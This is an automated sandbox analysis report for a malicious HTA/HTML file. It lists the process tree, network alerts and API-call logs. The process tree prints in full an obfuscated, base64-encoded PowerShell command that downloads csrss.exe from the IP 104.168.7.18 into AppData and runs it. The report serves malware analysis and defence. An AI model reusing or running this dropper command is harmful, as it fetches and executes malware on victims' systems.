Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	April 11, 2025, 3:30 p.m.	April 11, 2025, 3:33 p.m.

Size	14.7KB
Type	HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5	`852ff9407aae6f2ef4fc6c61c8b6a815`
SHA256	`475d2dbf21ce1c593b5afc54ae5dbeac178f4d39de84be0fa3499f45078a3f3f`
CRC32	`7C2D49FF`
ssdeep	`48:3VKxhhA2xhFSYrmFy9zpqnN0NptcHG8xhG9PG:lAAEXrmFfSNptcHE9+`
Yara	Antivirus - Contains references to security software

iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\hhu.hta.html
3068
- iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:3068 CREDAT:145409
  1780
  - cmd.exe "C:\Windows\system32\cmd.exe" "/C poweRsHELL.exe -ex Bypass -nop -W 1 -c DEVIcecrEDEntIAlDEpLOYmeNt ; IEx($(IEx('[SySTEM.teXt.EncOdING]'+[ChAR]58+[char]0x3A+'UTf8.geTSTrInG([systEM.coNVerT]'+[ChaR]58+[CHaR]58+'FROmbASE64StRIng('+[cHaR]0x22+'JHJSMiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CRXJEZWZpTklUSU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHbGdRbXNieSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR1FIQ0FURkhOVEEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdBcix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdmLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjeUgpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlQiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1Fc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaHROb1lBTENQdmsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkclIyOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA0LjE2OC43LjE4LzcwMS9jc3Jzcy5leGUiLCIkRU5WOkFQUERBVEFcY3Nyc3MuZXhlIiwwLDApO3NUQXJULXNMZUVQKDMpO2luVm9rRS1pVGVtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU5WOkFQUERBVEFcY3Nyc3MuZXhlIg=='+[CHaR]0x22+'))')))"
    1720
    - powershell.exe poweRsHELL.exe -ex Bypass -nop -W 1 -c DEVIcecrEDEntIAlDEpLOYmeNt ; IEx($(IEx('[SySTEM.teXt.EncOdING]'+[ChAR]58+[char]0x3A+'UTf8.geTSTrInG([systEM.coNVerT]'+[ChaR]58+[CHaR]58+'FROmbASE64StRIng('+[cHaR]0x22+'JHJSMiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10eVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1CRXJEZWZpTklUSU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1cmxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHbGdRbXNieSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR1FIQ0FURkhOVEEsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdBcix1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdmLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjeUgpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlQiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYU1Fc3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaHROb1lBTENQdmsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkclIyOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA0LjE2OC43LjE4LzcwMS9jc3Jzcy5leGUiLCIkRU5WOkFQUERBVEFcY3Nyc3MuZXhlIiwwLDApO3NUQXJULXNMZUVQKDMpO2luVm9rRS1pVGVtICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU5WOkFQUERBVEFcY3Nyc3MuZXhlIg=='+[CHaR]0x22+'))')))"
      2520
      - csc.exe "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\test22\AppData\Local\Temp\_twcsxgn.cmdline"
        1184
        
        cvtres.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\test22\AppData\Local\Temp\RES4751.tmp" "c:\Users\test22\AppData\Local\Temp\CSC46C3.tmp"
        2240

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
104.168.7.18	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49181 -> 104.168.7.18:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 192.168.56.102:49181 -> 104.168.7.18:80	2016702	ET HUNTING Suspicious csrss.exe in URI	Potentially Bad Traffic
TCP 104.168.7.18:80 -> 192.168.56.102:49181	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 104.168.7.18:80 -> 192.168.56.102:49181	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW April 11, 2025, 3:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2025, 3:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2025, 3:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2025, 3:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA April 11, 2025, 3:31 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 11, 2025, 3:31 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 11, 2025, 3:31 p.m.			0	0

Uses Windows APIs to generate a cryptographic key (50 out of 94 events)

Time & API	Arguments	Status	Return
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000002550d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fd080 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fd080 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fd080 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fd6a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fd6a0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fd7f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fd7f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fd7f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fd7f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fda20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fda20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fda20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fd4e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fd4e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fd4e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fdda0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fdda0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fdda0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fdda0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fdda0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fdda0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fdda0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fdda0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fd4e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fd4e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fd4e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fdef0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fdef0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fdf60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fdf60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fdef0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fdef0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b3fdef0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b424f10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b424f10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b424f10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b424f10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b425a00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b425a00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b43e6d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b43e6d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000255140 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000255140 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000255140 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000255140 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b43f3f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b43f3f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b43f3f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey April 11, 2025, 3:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b43f3f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 11, 2025, 3:31 p.m.		1	1	0

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

Connection to IP address

suspicious_request

GET http://104.168.7.18/701/csrss.exe

Performs some HTTP requests (1 event)

request

GET http://104.168.7.18/701/csrss.exe

Allocates read-write-execute memory (usually to unpack itself) (50 out of 303 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 region_size: 11603968 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002890000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000033a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bad000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bb4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdc44000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdad1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9a000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002bd0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefa1b7000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:31 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef69c9000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000033a0000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bad000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bb4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc1d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdc44000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefdad1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076b9a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076bd2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory April 11, 2025, 3:32 p.m.	process_identifier: 3068 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076c01000 process_handle: 0xffffffffffffffff	1
